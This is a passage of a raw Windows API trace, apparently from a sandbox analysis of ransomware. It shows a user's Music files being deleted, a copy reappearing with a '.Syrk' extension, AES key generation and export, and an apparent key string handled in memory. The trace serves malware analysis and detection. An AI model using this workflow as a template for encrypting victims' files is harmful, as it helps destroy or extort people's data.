lpFileName="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn\\HnGdqI3uzhk02", nBufferLength=0x31, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn\\HnGdqI3uzhk02", lpFilePart=0x0) returned 0x30 [0235.051] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn\\HnGdqI3uzhk02\\M5V7viLPSBu Fn" (normalized: "c:\\users\\keecfmwgj\\music\\sr45lfbmn\\hngdqi3uzhk02\\m5v7vilpsbu fn")) returned 0x10 [0235.051] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn\\HnGdqI3uzhk02\\M5V7viLPSBu Fn" (normalized: "c:\\users\\keecfmwgj\\music\\sr45lfbmn\\hngdqi3uzhk02\\m5v7vilpsbu fn")) returned 0x10 [0235.051] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn\\HnGdqI3uzhk02\\M5V7viLPSBu Fn", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x40 [0235.052] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn\\HnGdqI3uzhk02\\M5V7viLPSBu Fn", nBufferLength=0x40, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn\\HnGdqI3uzhk02\\M5V7viLPSBu Fn", lpFilePart=0x0) returned 0x3f [0235.052] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn\\HnGdqI3uzhk02\\M5V7viLPSBu Fn\\UOrn1.mp3" (normalized: "c:\\users\\keecfmwgj\\music\\sr45lfbmn\\hngdqi3uzhk02\\m5v7vilpsbu fn\\uorn1.mp3")) returned 0x20 [0235.052] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn\\HnGdqI3uzhk02\\M5V7viLPSBu Fn\\UOrn1.mp3", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x4a [0235.052] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn\\HnGdqI3uzhk02\\M5V7viLPSBu Fn\\UOrn1.mp3", nBufferLength=0x4a, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn\\HnGdqI3uzhk02\\M5V7viLPSBu Fn\\UOrn1.mp3", lpFilePart=0x0) returned 0x49 [0235.054] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn\\HnGdqI3uzhk02\\M5V7viLPSBu Fn\\UOrn1.mp3", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x4a [0235.054] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn\\HnGdqI3uzhk02\\M5V7viLPSBu Fn\\UOrn1.mp3", nBufferLength=0x4a, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn\\HnGdqI3uzhk02\\M5V7viLPSBu Fn\\UOrn1.mp3", lpFilePart=0x0) returned 0x49 [0235.054] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e56c) returned 1 [0235.054] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn\\HnGdqI3uzhk02\\M5V7viLPSBu Fn\\UOrn1.mp3", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x4a [0235.054] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn\\HnGdqI3uzhk02\\M5V7viLPSBu Fn\\UOrn1.mp3", nBufferLength=0x4a, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn\\HnGdqI3uzhk02\\M5V7viLPSBu Fn\\UOrn1.mp3", lpFilePart=0x0) returned 0x49 [0235.055] FindFirstFileW (in: lpFileName="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn\\HnGdqI3uzhk02\\M5V7viLPSBu Fn\\UOrn1.mp3\\*" (normalized: "c:\\users\\keecfmwgj\\music\\sr45lfbmn\\hngdqi3uzhk02\\m5v7vilpsbu fn\\uorn1.mp3\\*"), lpFindFileData=0x5a2e31c | out: lpFindFileData=0x5a2e31c*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffff [0235.055] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e2dc) returned 1 [0235.055] CoTaskMemAlloc (cb=0x404) returned 0x5c9b950 [0235.055] FormatMessageW (in: dwFlags=0x3200, lpSource=0x0, dwMessageId=0x10b, dwLanguageId=0x0, lpBuffer=0x5c9b950, nSize=0x200, Arguments=0x0 | out: lpBuffer="The directory name is invalid.\r\n") returned 0x20 [0235.055] CoTaskMemFree (pv=0x5c9b950) [0235.056] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn\\HnGdqI3uzhk02\\M5V7viLPSBu Fn\\UOrn1.mp3" (normalized: "c:\\users\\keecfmwgj\\music\\sr45lfbmn\\hngdqi3uzhk02\\m5v7vilpsbu fn\\uorn1.mp3")) returned 0x20 [0235.056] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn\\HnGdqI3uzhk02\\M5V7viLPSBu Fn\\UOrn1.mp3", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x4a [0235.057] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn\\HnGdqI3uzhk02\\M5V7viLPSBu Fn\\UOrn1.mp3", nBufferLength=0x4a, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn\\HnGdqI3uzhk02\\M5V7viLPSBu Fn\\UOrn1.mp3", lpFilePart=0x0) returned 0x49 [0235.057] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e234) returned 1 [0235.057] GetFileAttributesExW (in: lpFileName="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn\\HnGdqI3uzhk02\\M5V7viLPSBu Fn\\UOrn1.mp3" (normalized: "c:\\users\\keecfmwgj\\music\\sr45lfbmn\\hngdqi3uzhk02\\m5v7vilpsbu fn\\uorn1.mp3"), fInfoLevelId=0x0, lpFileInformation=0x23b47ec | out: lpFileInformation=0x23b47ec*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac564e10, ftCreationTime.dwHighDateTime=0x1d99669, ftLastAccessTime.dwLowDateTime=0xbd266420, ftLastAccessTime.dwHighDateTime=0x1d996e4, ftLastWriteTime.dwLowDateTime=0xbd266420, ftLastWriteTime.dwHighDateTime=0x1d996e4, nFileSizeHigh=0x0, nFileSizeLow=0xf6c5)) returned 1 [0235.057] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e230) returned 1 [0235.057] DeleteFileW (lpFileName="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn\\HnGdqI3uzhk02\\M5V7viLPSBu Fn\\UOrn1.mp3" (normalized: "c:\\users\\keecfmwgj\\music\\sr45lfbmn\\hngdqi3uzhk02\\m5v7vilpsbu fn\\uorn1.mp3")) returned 1 [0235.058] EtwEventActivityIdControl () returned 0x0 [0235.059] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e438, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0235.059] EtwEventActivityIdControl () returned 0x0 [0235.059] EtwEventActivityIdControl () returned 0x0 [0235.059] EtwEventActivityIdControl () returned 0x0 [0235.066] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn\\HnGdqI3uzhk02\\M5V7viLPSBu Fn\\UOrn1.mp3.Syrk" (normalized: "c:\\users\\keecfmwgj\\music\\sr45lfbmn\\hngdqi3uzhk02\\m5v7vilpsbu fn\\uorn1.mp3.syrk")) returned 0x20 [0235.067] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn\\HnGdqI3uzhk02\\M5V7viLPSBu Fn\\UOrn1.mp3.Syrk" (normalized: "c:\\users\\keecfmwgj\\music\\sr45lfbmn\\hngdqi3uzhk02\\m5v7vilpsbu fn\\uorn1.mp3.syrk")) returned 0x20 [0235.067] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn\\HnGdqI3uzhk02\\M5V7viLPSBu Fn\\UOrn1.mp3.Syrk", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x4f [0235.067] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn\\HnGdqI3uzhk02\\M5V7viLPSBu Fn\\UOrn1.mp3.Syrk", nBufferLength=0x4f, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn\\HnGdqI3uzhk02\\M5V7viLPSBu Fn\\UOrn1.mp3.Syrk", lpFilePart=0x0) returned 0x4e [0235.067] EtwEventActivityIdControl () returned 0x0 [0235.067] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e438, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0235.068] EtwEventActivityIdControl () returned 0x0 [0235.068] EtwEventActivityIdControl () returned 0x0 [0235.068] EtwEventActivityIdControl () returned 0x0 [0235.073] EtwEventActivityIdControl () returned 0x0 [0235.073] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e438, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0235.073] EtwEventActivityIdControl () returned 0x0 [0235.073] EtwEventActivityIdControl () returned 0x0 [0235.073] EtwEventActivityIdControl () returned 0x0 [0235.077] EtwEventActivityIdControl () returned 0x0 [0235.077] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e438, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0235.077] EtwEventActivityIdControl () returned 0x0 [0235.077] EtwEventActivityIdControl () returned 0x0 [0235.077] EtwEventActivityIdControl () returned 0x0 [0235.080] EtwEventActivityIdControl () returned 0x0 [0235.081] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e438, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0235.081] EtwEventActivityIdControl () returned 0x0 [0235.081] EtwEventActivityIdControl () returned 0x0 [0235.081] EtwEventActivityIdControl () returned 0x0 [0235.084] EtwEventActivityIdControl () returned 0x0 [0235.084] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e438, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0235.084] EtwEventActivityIdControl () returned 0x0 [0235.084] EtwEventActivityIdControl () returned 0x0 [0235.085] EtwEventActivityIdControl () returned 0x0 [0235.088] EtwEventActivityIdControl () returned 0x0 [0235.094] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2dca4) returned 1 [0235.094] GetFileAttributesExW (in: lpFileName="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn\\HnGdqI3uzhk02\\M5V7viLPSBu Fn\\UOrn1.mp3.Syrk" (normalized: "c:\\users\\keecfmwgj\\music\\sr45lfbmn\\hngdqi3uzhk02\\m5v7vilpsbu fn\\uorn1.mp3.syrk"), fInfoLevelId=0x0, lpFileInformation=0x23c2a34 | out: lpFileInformation=0x23c2a34*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7f27120, ftCreationTime.dwHighDateTime=0x1da3860, ftLastAccessTime.dwLowDateTime=0x7f27120, ftLastAccessTime.dwHighDateTime=0x1da3860, ftLastWriteTime.dwLowDateTime=0x7f4d280, ftLastWriteTime.dwHighDateTime=0x1da3860, nFileSizeHigh=0x0, nFileSizeLow=0xf6e4)) returned 1 [0235.094] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2dca0) returned 1 [0235.095] GetConsoleOutputCP () returned 0x1b5 [0235.095] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e3d8, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e3d8) returned 0 [0235.095] GetConsoleOutputCP () returned 0x1b5 [0235.096] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e460, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e460) returned 0 [0235.096] GetConsoleOutputCP () returned 0x1b5 [0235.096] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e43c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e43c) returned 0 [0235.096] GetConsoleOutputCP () returned 0x1b5 [0235.096] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e43c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e43c) returned 0 [0235.096] GetConsoleOutputCP () returned 0x1b5 [0235.096] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e3d8, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e3d8) returned 0 [0235.096] GetConsoleOutputCP () returned 0x1b5 [0235.096] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e460, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e460) returned 0 [0235.096] GetConsoleOutputCP () returned 0x1b5 [0235.097] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e43c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e43c) returned 0 [0235.097] GetConsoleOutputCP () returned 0x1b5 [0235.097] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e43c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e43c) returned 0 [0235.097] GetConsoleOutputCP () returned 0x1b5 [0235.097] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e3d8, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e3d8) returned 0 [0235.097] GetConsoleOutputCP () returned 0x1b5 [0235.097] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e460, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e460) returned 0 [0235.097] GetConsoleOutputCP () returned 0x1b5 [0235.097] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e43c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e43c) returned 0 [0235.098] GetConsoleOutputCP () returned 0x1b5 [0235.098] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e43c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e43c) returned 0 [0235.098] GetConsoleOutputCP () returned 0x1b5 [0235.098] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e3d8, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e3d8) returned 0 [0235.098] GetConsoleOutputCP () returned 0x1b5 [0235.098] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e460, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e460) returned 0 [0235.098] GetConsoleOutputCP () returned 0x1b5 [0235.098] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e43c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e43c) returned 0 [0235.098] GetConsoleOutputCP () returned 0x1b5 [0235.098] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e43c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e43c) returned 0 [0235.099] GetConsoleScreenBufferInfo (in: hConsoleOutput=0xf, lpConsoleScreenBufferInfo=0x5a2e528 | out: lpConsoleScreenBufferInfo=0x5a2e528) returned 1 [0235.099] GetConsoleMode (in: hConsoleHandle=0xf, lpMode=0x5a2e520 | out: lpMode=0x5a2e520) returned 1 [0235.099] WriteConsoleW (in: hConsoleOutput=0xf, lpBuffer=0x23dccec*, nNumberOfCharsToWrite=0x4f, lpNumberOfCharsWritten=0x5a2e514, lpReserved=0x0 | out: lpBuffer=0x23dccec*, lpNumberOfCharsWritten=0x5a2e514*=0x4f) returned 1 [0235.099] GetConsoleMode (in: hConsoleHandle=0xf, lpMode=0x5a2e520 | out: lpMode=0x5a2e520) returned 1 [0235.100] WriteConsoleW (in: hConsoleOutput=0xf, lpBuffer=0x22fe2f4*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0x5a2e514, lpReserved=0x0 | out: lpBuffer=0x22fe2f4*, lpNumberOfCharsWritten=0x5a2e514*=0x2) returned 1 [0235.100] EtwEventActivityIdControl () returned 0x0 [0235.101] EtwEventActivityIdControl () returned 0x0 [0235.101] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2ebac, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0235.101] EtwEventActivityIdControl () returned 0x0 [0235.101] EtwEventActivityIdControl () returned 0x0 [0235.101] EtwEventActivityIdControl () returned 0x0 [0235.103] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e804, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0235.103] EtwEventActivityIdControl () returned 0x0 [0235.103] EtwEventActivityIdControl () returned 0x0 [0235.103] EtwEventActivityIdControl () returned 0x0 [0235.105] CryptAcquireContextW (in: phProv=0x5a2e450, szContainer=0x0, szProvider="Microsoft Enhanced RSA and AES Cryptographic Provider", dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x5a2e450*=0x5c4d3a8) returned 1 [0235.106] CryptGenKey (in: hProv=0x5c4d3a8, Algid=0x6610, dwFlags=0x1, phKey=0x5a2e884 | out: phKey=0x5a2e884*=0x5c68c00) returned 1 [0235.106] CryptContextAddRef (hProv=0x5c4d3a8, pdwReserved=0x0, dwFlags=0x0) returned 1 [0235.106] CryptExportKey (in: hKey=0x5c68c00, hExpKey=0x0, dwBlobType=0x8, dwFlags=0x0, pbData=0x0, pdwDataLen=0x5a2e8c4 | out: pbData=0x0*, pdwDataLen=0x5a2e8c4*=0x2c) returned 1 [0235.106] CryptExportKey (in: hKey=0x5c68c00, hExpKey=0x0, dwBlobType=0x8, dwFlags=0x0, pbData=0x23e46c4, pdwDataLen=0x5a2e8c4 | out: pbData=0x23e46c4*, pdwDataLen=0x5a2e8c4*=0x2c) returned 1 [0235.106] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e4ac, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0235.107] EtwEventActivityIdControl () returned 0x0 [0235.107] EtwEventActivityIdControl () returned 0x0 [0235.107] EtwEventActivityIdControl () returned 0x0 [0235.108] SysStringLen (param_1="") returned 0x8 [0235.108] SysStringLen (param_1="I") returned 0x8 [0235.108] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0235.108] SysStringLen (param_1="㡆蹉ጽ㘴橔잏׶䠐") returned 0x8 [0235.108] SysStringLen (param_1="㡆蹉ጽ㘴橔잏׶䠐") returned 0x8 [0235.108] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0235.108] SysStringLen (param_1="IU") returned 0x8 [0235.108] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0235.108] SysStringLen (param_1="浪辅㩥❁蠨諒ペ迦") returned 0x8 [0235.108] SysStringLen (param_1="浪辅㩥❁蠨諒ペ迦") returned 0x8 [0235.108] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0235.108] SysStringLen (param_1="IUn") returned 0x8 [0235.108] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0235.109] SysStringLen (param_1="䎓ﵜ꜃붲첊㬁漤") returned 0x8 [0235.109] SysStringLen (param_1="䎓ﵜ꜃붲첊㬁漤") returned 0x8 [0235.109] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0235.109] SysStringLen (param_1="IUng") returned 0x8 [0235.109] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0235.109] SysStringLen (param_1="뜳福脗ꏘ㢃使㲪") returned 0x8 [0235.109] SysStringLen (param_1="뜳福脗ꏘ㢃使㲪") returned 0x8 [0235.109] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0235.109] SysStringLen (param_1="IUngk") returned 0x8 [0235.109] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0235.109] SysStringLen (param_1="昲耒彔ࢥ키ᾯ쯵䎔") returned 0x8 [0235.109] SysStringLen (param_1="昲耒彔ࢥ키ᾯ쯵䎔") returned 0x8 [0235.109] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0235.109] SysStringLen (param_1="IUngkY") returned 0x8 [0235.109] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0235.110] SysStringLen (param_1="\裛#郶࿍沨薪ὃ≾) returned 0x8 [0235.110] SysStringLen (param_1="\裛#郶࿍沨薪ὃ≾) returned 0x8 [0235.110] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0235.110] SysStringLen (param_1="IUngkYk") returned 0x8 [0235.110] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0235.110] SysStringLen (param_1="㍻췊鑏拇䴚䡪嚒ᣎ") returned 0x8 [0235.110] SysStringLen (param_1="㍻췊鑏拇䴚䡪嚒ᣎ") returned 0x8 [0235.110] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0235.110] SysStringLen (param_1="IUngkYkE") returned 0x8 [0235.110] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0235.110] SysStringLen (param_1="蕩ㄝﯬ͙芕஼瀐댭") returned 0x8 [0235.111] SysStringLen (param_1="蕩ㄝﯬ͙芕஼瀐댭") returned 0x8 [0235.111] SysStringLen (param_1="蕩ㄝﯬ͙芕஼瀐댭") returned 0x8 [0235.111] SysStringLen (param_1="蕩ㄝﯬ͙芕஼瀐댭") returned 0x10 [0235.111] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0235.111] SysStringLen (param_1="IUngkYkE5ঈ貅릗ॺ뷃ͣ縖") returned 0x10 [0235.111] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0235.111] SysStringLen (param_1="蕩ㄝﯬ͙芕஼瀐댭⭄࢈ᷗ뺲뉲鹧䏫듋") returned 0x10 [0235.111] SysStringLen (param_1="蕩ㄝﯬ͙芕஼瀐댭⭄࢈ᷗ뺲뉲鹧䏫듋") returned 0x10 [0235.111] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0235.112] SysStringLen (param_1="IUngkYkE5H貅릗ॺ뷃ͣ縖") returned 0x10 [0235.112] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0235.112] SysStringLen (param_1="蕩ㄝﯬ͙芕஼瀐댭뵨듟吃ኹ귡窳备") returned 0x10 [0235.112] SysStringLen (param_1="蕩ㄝﯬ͙芕஼瀐댭뵨듟吃ኹ귡窳备") returned 0x10 [0235.112] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0235.112] SysStringLen (param_1="IUngkYkE5Hh릗ॺ뷃ͣ縖") returned 0x10 [0235.112] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0235.112] SysStringLen (param_1="蕩ㄝﯬ͙芕஼瀐댭\⣘ꔘ㺵䰀偢ะ쏻⊫) returned 0x10 [0235.112] SysStringLen (param_1="蕩ㄝﯬ͙芕஼瀐댭\⣘ꔘ㺵䰀偢ะ쏻⊫) returned 0x10 [0235.112] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0235.112] SysStringLen (param_1="IUngkYkE5Hhyॺ뷃ͣ縖") returned 0x10 [0235.112] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0235.113] SysStringLen (param_1="蕩ㄝﯬ͙芕஼瀐댭ᯩ㪇ᖏ鲲륲씂탧ꭼ") returned 0x10 [0235.113] SysStringLen (param_1="蕩ㄝﯬ͙芕஼瀐댭ᯩ㪇ᖏ鲲륲씂탧ꭼ") returned 0x10 [0235.113] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0235.113] SysStringLen (param_1="IUngkYkE5HhyP뷃ͣ縖") returned 0x10 [0235.113] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0235.113] SysStringLen (param_1="蕩ㄝﯬ͙芕஼瀐댭匞蒭ᷪⲭᣘ䎡鼈") returned 0x10 [0235.113] SysStringLen (param_1="蕩ㄝﯬ͙芕஼瀐댭匞蒭ᷪⲭᣘ䎡鼈") returned 0x10 [0235.113] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0235.113] SysStringLen (param_1="IUngkYkE5HhyPGͣ縖") returned 0x10 [0235.113] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0235.113] SysStringLen (param_1="蕩ㄝﯬ͙芕஼瀐댭ïৗ廅쿢Ṟ㞵⒵Հ") returned 0x10 [0235.113] SysStringLen (param_1="蕩ㄝﯬ͙芕஼瀐댭ïৗ廅쿢Ṟ㞵⒵Հ") returned 0x10 [0235.113] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0235.113] SysStringLen (param_1="IUngkYkE5HhyPG9縖") returned 0x10 [0235.113] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0235.114] SysStringLen (param_1="蕩ㄝﯬ͙芕஼瀐댭祶姹ᡶ㞎愭凟魲") returned 0x10 [0235.114] SysStringLen (param_1="蕩ㄝﯬ͙芕஼瀐댭祶姹ᡶ㞎愭凟魲") returned 0x10 [0235.114] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0235.114] SysStringLen (param_1="IUngkYkE5HhyPG9f") returned 0x10 [0235.114] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0235.114] SysStringLen (param_1="蕩ㄝﯬ͙芕஼瀐댭셯㹰憊铚㓕﹣皸设") returned 0x10 [0235.114] SysStringLen (param_1="蕩ㄝﯬ͙芕஼瀐댭셯㹰憊铚㓕﹣皸设") returned 0x10 [0235.114] SysStringLen (param_1="蕩ㄝﯬ͙芕஼瀐댭셯㹰憊铚㓕﹣皸设") returned 0x10 [0235.114] SysStringLen (param_1="蕩ㄝﯬ͙芕஼瀐댭셯㹰憊铚㓕﹣皸设") returned 0x18 [0235.114] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, 